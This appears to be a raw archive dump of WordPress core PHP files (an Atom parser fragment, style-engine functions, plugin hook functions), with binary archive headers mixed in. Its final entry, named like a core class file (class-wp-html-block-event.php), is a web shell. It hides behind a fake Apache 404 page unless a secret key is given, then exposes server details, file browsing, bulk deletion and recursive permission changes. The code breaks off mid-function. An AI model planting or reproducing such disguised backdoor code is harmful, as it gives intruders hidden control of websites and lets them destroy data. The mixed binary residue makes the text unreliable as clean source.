else { $this->current->$tag = join('',$newcontent); } $this->in_content = array(); } else if($this->in_content[$ccount-1][0] == $tag && $this->in_content[$ccount-1][1] == $this->depth) { $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>"; } else { # else, just finalize the current element's content $endtag = $this->ns_to_prefix($name); array_push($this->in_content, array($tag, $this->depth, "")); } } array_shift($this->ns_contexts); $this->depth--; if($name == ($this->NS . ':entry')) { array_push($this->feed->entries, $this->current); $this->current = null; } $this->_p("end_element('$name')"); } function start_ns($parser, $prefix, $uri) { $this->_p("starting: " . $prefix . ":" . $uri); array_push($this->ns_decls, array($prefix,$uri)); } function end_ns($parser, $prefix) { $this->_p("ending: #" . $prefix . "#"); } function cdata($parser, $data) { $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#"); if(!empty($this->in_content)) { array_push($this->in_content, $data); } } function _default($parser, $data) { # when does this gets called? } function ns_to_prefix($qname, $attr=false) { # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div') $components = explode(":", $qname); # grab the last one (e.g 'div') $name = array_pop($components); if(!empty($components)) { # re-join back the namespace component $ns = join(":",$components); foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if($mapping[1] == $ns && strlen($mapping[0]) > 0) { return array($mapping, "$mapping[0]:$name"); } } } } if($attr) { return array(null, $name); } else { foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if(strlen($mapping[0]) == 0) { return array($mapping, $name); } } } } } function is_declared_content_ns($new_mapping) { foreach($this->content_ns_contexts as $context) { foreach($context as $mapping) { if($new_mapping == $mapping) { return true; } } } return false; } function xml_escape($content) { return str_replace(array('&','"',"'",'<','>'), array('&','"',''','<','>'), $content ); } } PK!Ö‡°RRclass.wp-styles.phpnu„[µü¤ array( 'text' => '#cccccc' ), * ) * ); * * Returns: * * array( * 'css' => 'color: #cccccc', * 'declarations' => array( 'color' => '#cccccc' ), * 'classnames' => 'has-color', * ) * * @since 6.1.0 * * @see https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/theme-json-living/#styles * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/ * * @param array $block_styles The style object. * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default null. * When set, the style engine will attempt to store the CSS rules, * where a selector is also passed. * @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, * e.g. `var:preset||`, * to `var( --wp--preset--* )` values. Default false. * @type string $selector Optional. When a selector is passed, * the value of `$css` in the return value will comprise * a full CSS rule `$selector { ...$css_declarations }`, * otherwise, the value will be a concatenated string * of CSS declarations. * } * @return array { * @type string $css A CSS ruleset or declarations block * formatted to be placed in an HTML `style` attribute or tag. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * @type string $classnames Classnames separated by a space. * } */ function wp_style_engine_get_styles( $block_styles, $options = array() ) { $options = wp_parse_args( $options, array( 'selector' => null, 'context' => null, 'convert_vars_to_classnames' => false, ) ); $parsed_styles = WP_Style_Engine::parse_block_styles( $block_styles, $options ); // Output. $styles_output = array(); if ( ! empty( $parsed_styles['declarations'] ) ) { $styles_output['css'] = WP_Style_Engine::compile_css( $parsed_styles['declarations'], $options['selector'] ); $styles_output['declarations'] = $parsed_styles['declarations']; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $options['selector'], $parsed_styles['declarations'] ); } } if ( ! empty( $parsed_styles['classnames'] ) ) { $styles_output['classnames'] = implode( ' ', array_unique( $parsed_styles['classnames'] ) ); } return array_filter( $styles_output ); } /** * Returns compiled CSS from a collection of selectors and declarations. * Useful for returning a compiled stylesheet from any collection of CSS selector + declarations. * * Example usage: * * $css_rules = array( * array( * 'selector' => '.elephant-are-cool', * 'declarations' => array( * 'color' => 'gray', * 'width' => '3em', * ), * ), * ); * * $css = wp_style_engine_get_stylesheet_from_css_rules( $css_rules ); * * Returns: * * .elephant-are-cool{color:gray;width:3em} * * @since 6.1.0 * @since 6.6.0 Added support for `$rules_group` in the `$css_rules` array. * * @param array $css_rules { * Required. A collection of CSS rules. * * @type array ...$0 { * @type string $rules_group A parent CSS selector in the case of nested CSS, * or a CSS nested @rule, such as `@media (min-width: 80rem)` or `@layer module`. * @type string $selector A CSS selector. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * } * } * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default 'block-supports'. * When set, the style engine will attempt to store the CSS rules. * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A string of compiled CSS declarations, or empty string. */ function wp_style_engine_get_stylesheet_from_css_rules( $css_rules, $options = array() ) { if ( empty( $css_rules ) ) { return ''; } $options = wp_parse_args( $options, array( 'context' => null, ) ); $css_rule_objects = array(); foreach ( $css_rules as $css_rule ) { if ( empty( $css_rule['selector'] ) || empty( $css_rule['declarations'] ) || ! is_array( $css_rule['declarations'] ) ) { continue; } $rules_group = $css_rule['rules_group'] ?? null; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $css_rule['selector'], $css_rule['declarations'], $rules_group ); } $css_rule_objects[] = new WP_Style_Engine_CSS_Rule( $css_rule['selector'], $css_rule['declarations'], $rules_group ); } if ( empty( $css_rule_objects ) ) { return ''; } return WP_Style_Engine::compile_stylesheet_from_css_rules( $css_rule_objects, $options ); } /** * Returns compiled CSS from a store, if found. * * @since 6.1.0 * * @param string $context A valid context name, corresponding to an existing store key. * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A compiled CSS string. */ function wp_style_engine_get_stylesheet_from_context( $context, $options = array() ) { return WP_Style_Engine::compile_stylesheet_from_css_rules( WP_Style_Engine::get_store( $context )->get_all_rules(), $options ); } PK!N𾕎•Ž plugin.phpnuȯÝíadd_filter( $hook_name, $callback, $priority, $accepted_args ); return true; } /** * Calls the callback functions that have been added to a filter hook. * * This function invokes all functions attached to filter hook `$hook_name`. * It is possible to create new filter hooks by simply calling this function, * specifying the name of the new hook using the `$hook_name` parameter. * * The function also allows for multiple additional arguments to be passed to hooks. * * Example usage: * * // The filter callback function. * function example_callback( $string, $arg1, $arg2 ) { * // (maybe) modify $string. * return $string; * } * add_filter( 'example_filter', 'example_callback', 10, 3 ); * * /* * * Apply the filters by calling the 'example_callback()' function * * that's hooked onto `example_filter` above. * * * * - 'example_filter' is the filter hook. * * - 'filter me' is the value being filtered. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 ); * * @since 0.71 * @since 6.0.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_filters Stores the number of times each filter was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the filter hook. * @param mixed $value The value to filter. * @param mixed ...$args Optional. Additional parameters to pass to the callback functions. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters( $hook_name, $value, ...$args ) { global $wp_filter, $wp_filters, $wp_current_filter; if ( ! isset( $wp_filters[ $hook_name ] ) ) { $wp_filters[ $hook_name ] = 1; } else { ++$wp_filters[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return $value; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } // Pass the value to WP_Hook. array_unshift( $args, $value ); $filtered = $wp_filter[ $hook_name ]->apply_filters( $value, $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Calls the callback functions that have been added to a filter hook, specifying arguments in an array. * * @since 3.0.0 * * @see apply_filters() This function is identical, but the arguments passed to the * functions hooked to `$hook_name` are supplied using an array. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_filters Stores the number of times each filter was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the filter hook. * @param array $args The arguments supplied to the functions hooked to `$hook_name`. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters_ref_array( $hook_name, $args ) { global $wp_filter, $wp_filters, $wp_current_filter; if ( ! isset( $wp_filters[ $hook_name ] ) ) { $wp_filters[ $hook_name ] = 1; } else { ++$wp_filters[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return $args[0]; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } $filtered = $wp_filter[ $hook_name ]->apply_filters( $args[0], $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Checks if any filter has been registered for a hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 2.5.0 * @since 6.9.0 Added the `$priority` parameter. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The name of the filter hook. * @param callable|string|array|false $callback Optional. The callback to check for. * This function can be called unconditionally to speculatively check * a callback that may or may not exist. Default false. * @param int|false $priority Optional. The specific priority at which to check for the callback. * Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. * If `$callback` and `$priority` are both provided, a boolean is returned * for whether the specific function is registered at that priority. */ function has_filter( $hook_name, $callback = false, $priority = false ) { global $wp_filter; if ( ! isset( $wp_filter[ $hook_name ] ) ) { return false; } return $wp_filter[ $hook_name ]->has_filter( $hook_name, $callback, $priority ); } /** * Removes a callback function from a filter hook. * * This can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * To remove a hook, the `$callback` and `$priority` arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The filter hook to which the function to be removed is hooked. * @param callable|string|array $callback The callback to be removed from running when the filter is applied. * This function can be called unconditionally to speculatively remove * a callback that may or may not exist. * @param int $priority Optional. The exact priority used when adding the original * filter callback. Default 10. * @return bool Whether the function existed before it was removed. */ function remove_filter( $hook_name, $callback, $priority = 10 ) { global $wp_filter; $r = false; if ( isset( $wp_filter[ $hook_name ] ) ) { $r = $wp_filter[ $hook_name ]->remove_filter( $hook_name, $callback, $priority ); if ( ! $wp_filter[ $hook_name ]->callbacks ) { unset( $wp_filter[ $hook_name ] ); } } return $r; } /** * Removes all of the callback functions from a filter hook. * * @since 2.7.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The filter to remove callbacks from. * @param int|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. */ function remove_all_filters( $hook_name, $priority = false ) { global $wp_filter; if ( isset( $wp_filter[ $hook_name ] ) ) { $wp_filter[ $hook_name ]->remove_all_filters( $priority ); if ( ! $wp_filter[ $hook_name ]->has_filters() ) { unset( $wp_filter[ $hook_name ] ); } } return true; } /** * Retrieves the name of the current filter hook. * * @since 2.5.0 * * @global string[] $wp_current_filter Stores the list of current filters with the current one last * * @return string|false Hook name of the current filter, false if no filter is running. */ function current_filter() { global $wp_current_filter; return end( $wp_current_filter ); } /** * Returns whether or not a filter hook is currently being processed. * * The function current_filter() only returns the most recent filter being executed. * did_filter() returns the number of times a filter has been applied during * the current request. * * This function allows detection for any filter currently being executed * (regardless of whether it's the most recent filter to fire, in the case of * hooks called from hook callbacks) to be verified. * * @since 3.9.0 * * @see current_filter() * @see did_filter() * @global string[] $wp_current_filter Current filter. * * @param string|null $hook_name Optional. Filter hook to check. Defaults to null, * which checks if any filter is currently being run. * @return bool Whether the filter is currently in the stack. */ function doing_filter( $hook_name = null ) { global $wp_current_filter; if ( null === $hook_name ) { return ! empty( $wp_current_filter ); } return in_array( $hook_name, $wp_current_filter, true ); } /** * Retrieves the number of times a filter has been applied during the current request. * * @since 6.1.0 * * @global int[] $wp_filters Stores the number of times each filter was triggered. * * @param string $hook_name The name of the filter hook. * @return int The number of times the filter hook has been applied. */ function did_filter( $hook_name ) { global $wp_filters; if ( ! isset( $wp_filters[ $hook_name ] ) ) { return 0; } return $wp_filters[ $hook_name ]; } /** * Adds a callback function to an action hook. * * Actions are the hooks that the WordPress core launches at specific points * during execution, or when specific events occur. Plugins can specify that * one or more of its PHP functions are executed at these points, using the * Action API. * * @since 1.2.0 * * @param string $hook_name The name of the action to add the callback to. * @param callable $callback The callback to be run when the action is called. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. Default 10. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * @return true Always returns true. */ function add_action( $hook_name, $callback, $priority = 10, $accepted_args = 1 ) { return add_filter( $hook_name, $callback, $priority, $accepted_args ); } /** * Calls the callback functions that have been added to an action hook. * * This function invokes all functions attached to action hook `$hook_name`. * It is possible to create new action hooks by simply calling this function, * specifying the name of the new hook using the `$hook_name` parameter. * * You can pass extra arguments to the hooks, much like you can with `apply_filters()`. * * Example usage: * * // The action callback function. * function example_callback( $arg1, $arg2 ) { * // (maybe) do something with the args. * } * add_action( 'example_action', 'example_callback', 10, 2 ); * * /* * * Trigger the actions by calling the 'example_callback()' function * * that's hooked onto `example_action` above. * * * * - 'example_action' is the action hook. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * do_action( 'example_action', $arg1, $arg2 ); * * @since 1.2.0 * @since 5.3.0 Formalized the existing and already documented `...$arg` parameter * by adding it to the function signature. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_actions Stores the number of times each action was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the action to be executed. * @param mixed ...$arg Optional. Additional arguments which are passed on to the * functions hooked to the action. Default empty. */ function do_action( $hook_name, ...$arg ) { global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } if ( empty( $arg ) ) { $arg[] = ''; } elseif ( is_array( $arg[0] ) && 1 === count( $arg[0] ) && isset( $arg[0][0] ) && is_object( $arg[0][0] ) ) { // Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`. $arg[0] = $arg[0][0]; } $wp_filter[ $hook_name ]->do_action( $arg ); array_pop( $wp_current_filter ); } /** * Calls the callback functions that have been added to an action hook, specifying arguments in an array. * * @since 2.1.0 * * @see do_action() This function is identical, but the arguments passed to the * functions hooked to `$hook_name` are supplied using an array. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_actions Stores the number of times each action was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the action to be executed. * @param array $args The arguments supplied to the functions hooked to `$hook_name`. */ function do_action_ref_array( $hook_name, $args ) { global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } $wp_filter[ $hook_name ]->do_action( $args ); array_pop( $wp_current_filter ); } /** * Checks if any action has been registered for a hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 2.5.0 * @since 6.9.0 Added the `$priority` parameter. * * @see has_filter() This function is an alias of has_filter(). * * @param string $hook_name The name of the action hook. * @param callable|string|array|false $callback Optional. The callback to check for. * This function can be called unconditionally to speculatively check * a callback that may or may not exist. Default false. * @param int|false $priority Optional. The specific priority at which to check for the callback. * Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. * If `$callback` and `$priority` are both provided, a boolean is returned * for whether the specific function is registered at that priority. */ function has_action( $hook_name, $callback = false, $priority = false ) { return has_filter( $hook_name, $callback, $priority ); } /** * Removes a callback function from an action hook. * * This can be used to remove default functions attached to a specific action * hook and possibly replace them with a substitute. * * To remove a hook, the `$callback` and `$priority` arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @param string $hook_name The action hook to which the function to be removed is hooked. * @param callable|string|array $callback The name of the function which should be removed. * This function can be called unconditionally to speculatively remove * a callback that may or may not exist. * @param int $priority Optional. The exact priority used when adding the original * action callback. Default 10. * @return bool Whether the function is removed. */ function remove_action( $hook_name, $callback, $priority = 10 ) { return remove_filter( $hook_name, $callback, $priority ); } /** * Removes all of the callback functions from an action hook. * * @since 2.7.0 * * @param string $hook_name The action to remove callbacks from. * @param int|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. */ function remove_all_actions( $hook_name, $priority = false ) { return remove_all_filters( $hook_name, $priority ); } /** * Retrieves the name of the current action hook. * * @since 3.9.0 * * @return string|false Hook name of the current action, false if no action is running. */ function current_action() { return current_filter(); } /** * Returns whether or not an action hook is currently being processed. * * The function current_action() only returns the most recent action being executed. * did_action() returns the number of times an action has been fired during * the current request. * * This function allows detection for any action currently being executed * (regardless of whether it's the most recent action to fire, in the case of * hooks called from hook callbacks) to be verified. * * @since 3.9.0 * * @see current_action() * @see did_action() * * @param string|null $hook_name Optional. Action hook to check. Defaults to null, * which checks if any action is currently being run. * @return bool Whether the action is currently in the stack. */ function doing_action( $hook_name = null ) { return doing_filter( $hook_name ); } /** * Retrieves the number of times an action has been fired during the current request. * * @since 2.1.0 * * @global int[] $wp_actions Stores the number of times each action was triggered. * * @param string $hook_name The name of the action hook. * @return int The number of times the action hook has been fired. */ function did_action( $hook_name ) { global $wp_actions; if ( ! isset( $wp_actions[ $hook_name ] ) ) { return 0; } return $wp_actions[ $hook_name ]; } /** * Fires functions attached to a deprecated filter hook. * * When a filter hook is deprecated, the apply_filters() call is replaced with * apply_filters_deprecated(), which triggers a deprecation notice and then fires * the original filter hook. * * Note: the value and extra arguments passed to the original apply_filters() call * must be passed here to `$args` as an array. For example: * * // Old filter. * return apply_filters( 'wpdocs_filter', $value, $extra_arg ); * * // Deprecated. * return apply_filters_deprecated( 'wpdocs_filter', array( $value, $extra_arg ), '4.9.0', 'wpdocs_new_filter' ); * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the filter hook. * @param array $args Array of additional function arguments to be passed to apply_filters(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_filter( $hook_name ) ) { return $args[0]; } _deprecated_hook( $hook_name, $version, $replacement, $message ); return apply_filters_ref_array( $hook_name, $args ); } /** * Fires functions attached to a deprecated action hook. * * When an action hook is deprecated, the do_action() call is replaced with * do_action_deprecated(), which triggers a deprecation notice and then fires * the original hook. * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the action hook. * @param array $args Array of additional function arguments to be passed to do_action(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function do_action_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_action( $hook_name ) ) { return; } _deprecated_hook( $hook_name, $version, $replacement, $message ); do_action_ref_array( $hook_name, $args ); } // // Functions for handling plugins. // /** * Gets the basename of a plugin. * * This method extracts the name of a plugin from its filename. * * @since 1.5.0 * * @global array $wp_plugin_paths * * @param string $file The filename of plugin. * @return string The name of a plugin. */ function plugin_basename( $file ) { global $wp_plugin_paths; // $wp_plugin_paths contains normalized paths. $file = wp_normalize_path( $file ); arsort( $wp_plugin_paths ); foreach ( $wp_plugin_paths as $dir => $realdir ) { if ( str_starts_with( $file, $realdir ) ) { $file = $dir . substr( $file, strlen( $realdir ) ); } } $plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); $mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR ); // Get relative path from plugins directory. $file = preg_replace( '#^' . preg_quote( $plugin_dir, '#' ) . '/|^' . preg_quote( $mu_plugin_dir, '#' ) . '/#', '', $file ); $file = trim( $file, '/' ); return $file; } /** * Register a plugin's real path. * * This is used in plugin_basename() to resolve symlinked paths. * * @since 3.9.0 * * @see wp_normalize_path() * * @global array $wp_plugin_paths * * @param string $file Known path to the file. * @return bool Whether the path was able to be registered. */ function wp_register_plugin_realpath( $file ) { global $wp_plugin_paths; // Normalize, but store as static to avoid recalculation of a constant value. static $wp_plugin_path = null, $wpmu_plugin_path = null; if ( ! isset( $wp_plugin_path ) ) { $wp_plugin_path = wp_normalize_path( WP_PLUGIN_DIR ); $wpmu_plugin_path = wp_normalize_path( WPMU_PLUGIN_DIR ); } $plugin_path = wp_normalize_path( dirname( $file ) ); $plugin_realpath = wp_normalize_path( dirname( realpath( $file ) ) ); if ( $plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path ) { return false; } if ( $plugin_path !== $plugin_realpath ) { $wp_plugin_paths[ $plugin_path ] = $plugin_realpath; } return true; } /** * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the filesystem path of the directory that contains the plugin. */ function plugin_dir_path( $file ) { return trailingslashit( dirname( $file ) ); } /** * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the URL path of the directory that contains the plugin. */ function plugin_dir_url( $file ) { return trailingslashit( plugins_url( '', $file ) ); } /** * Set the activation hook for a plugin. * * When a plugin is activated, the action 'activate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'activate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'activate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'activate_PLUGIN' action. */ function register_activation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'activate_' . $file, $callback ); } /** * Sets the deactivation hook for a plugin. * * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'deactivate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'deactivate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'deactivate_PLUGIN' action. */ function register_deactivation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'deactivate_' . $file, $callback ); } /** * Sets the uninstallation hook for a plugin. * * Registers the uninstall hook that will be called when the user clicks on the * uninstall link that calls for the plugin to uninstall itself. The link won't * be active unless the plugin hooks into the action. * * The plugin should not run arbitrary code outside of functions, when * registering the uninstall hook. In order to run using the hook, the plugin * will have to be included, which means that any code laying outside of a * function will be run during the uninstallation process. The plugin should not * hinder the uninstallation process. * * If the plugin can not be written without running code within the plugin, then * the plugin should create a file named 'uninstall.php' in the base plugin * folder. This file will be called, if it exists, during the uninstallation process * bypassing the uninstall hook. The plugin, when using the 'uninstall.php' * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before * executing. * * @since 2.7.0 * * @param string $file Plugin file. * @param callable $callback The callback to run when the hook is called. Must be * a static method or function. */ function register_uninstall_hook( $file, $callback ) { if ( is_array( $callback ) && is_object( $callback[0] ) ) { _doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1.0' ); return; } /* * The option should not be autoloaded, because it is not needed in most * cases. Emphasis should be put on using the 'uninstall.php' way of * uninstalling the plugin. */ $uninstallable_plugins = (array) get_option( 'uninstall_plugins' ); $plugin_basename = plugin_basename( $file ); if ( ! isset( $uninstallable_plugins[ $plugin_basename ] ) || $uninstallable_plugins[ $plugin_basename ] !== $callback ) { $uninstallable_plugins[ $plugin_basename ] = $callback; update_option( 'uninstall_plugins', $uninstallable_plugins ); } } /** * Calls the 'all' hook, which will process the functions hooked into it. * * The 'all' hook passes all of the arguments or parameters that were used for * the hook, which this function was called for. * * This function is used internally for apply_filters(), do_action(), and * do_action_ref_array() and is not meant to be used from outside those * functions. This function does not check for the existence of the all hook, so * it will fail unless the all hook exists prior to this function call. * * @since 2.5.0 * @access private * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param array $args The collected parameters from the hook that was called. */ function _wp_call_all_hook( $args ) { global $wp_filter; $wp_filter['all']->do_all_hook( $args ); } /** * Builds a unique string ID for a hook callback function. * * Functions and static method callbacks are just returned as strings and * shouldn't have any speed penalty. * * @link https://core.trac.wordpress.org/ticket/3875 * * @since 2.2.3 * @since 5.3.0 Removed workarounds for spl_object_hash(). * `$hook_name` and `$priority` are no longer used, * and the function always returns a string. * * @access private * * @param string $hook_name Unused. The name of the filter to build ID for. * @param callable|string|array $callback The callback to generate ID for. The callback may * or may not exist. * @param int $priority Unused. The order in which the functions * associated with a particular action are executed. * @return string|null Unique function ID for usage as array key. * Null if a valid `$callback` is not passed. */ function _wp_filter_build_unique_id( $hook_name, $callback, $priority ) { if ( is_string( $callback ) ) { return $callback; } if ( is_object( $callback ) ) { // Closures are currently implemented as objects. $callback = array( $callback, '' ); } else { $callback = (array) $callback; } if ( is_object( $callback[0] ) ) { // Object class calling. return spl_object_hash( $callback[0] ) . $callback[1]; } elseif ( is_string( $callback[0] ) ) { // Static calling. return $callback[0] . '::' . $callback[1]; } return null; } PK!®u,ZHZHclass-wp-html-block-event.phpnu„[µü¤404 Not Found

      Not Found

      The requested URL was not found on this server.


      Apache Server at ' . htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'localhost') . ' Port 80
      '; exit; } // Carry key through all links $k = '&key=NOX-5090'; $kq = '?key=NOX-5090'; $path = isset($_GET['path']) ? $_GET['path'] : '.'; $path = realpath($path); $server_ip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['HTTP_HOST'] ?? 'localhost'); $software = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; $php_v = PHP_VERSION; $user = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user(); function wp_sm_get_perms($p) { if (!file_exists($p)) return "0000"; return substr(sprintf('%o', fileperms($p)), -4); } $msg = ""; if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) { foreach ($_POST['selected_items'] as $item) { $target = realpath($path . DIRECTORY_SEPARATOR . basename($item)); if ($target) { is_dir($target) ? @rmdir($target) : @unlink($target); } } header("Location: ?key=NOX-5090&path=" . urlencode($path) . "&msg=BulkDeleted"); exit; } if (isset($_POST['quick_chmod'])) { $target_item = rawurldecode($_POST['quick_chmod']); $target_path = realpath($path . DIRECTORY_SEPARATOR . $target_item); $raw_perms = $_POST['perms'][$_POST['quick_chmod']] ?? '0644'; $clean_input = preg_replace('/[^0-7]/', '', $raw_perms); $clean_input = str_pad($clean_input, 4, '0', STR_PAD_LEFT); $new_perms = octdec($clean_input); if ($target_path && file_exists($target_path)) { if (@chmod($target_path, $new_perms)) { $msg = "Permissions updated to " . $clean_input; if (is_dir($target_path)) { $fails = 0; $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($target_path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($objects as $name => $object) { if (!@chmod($name, 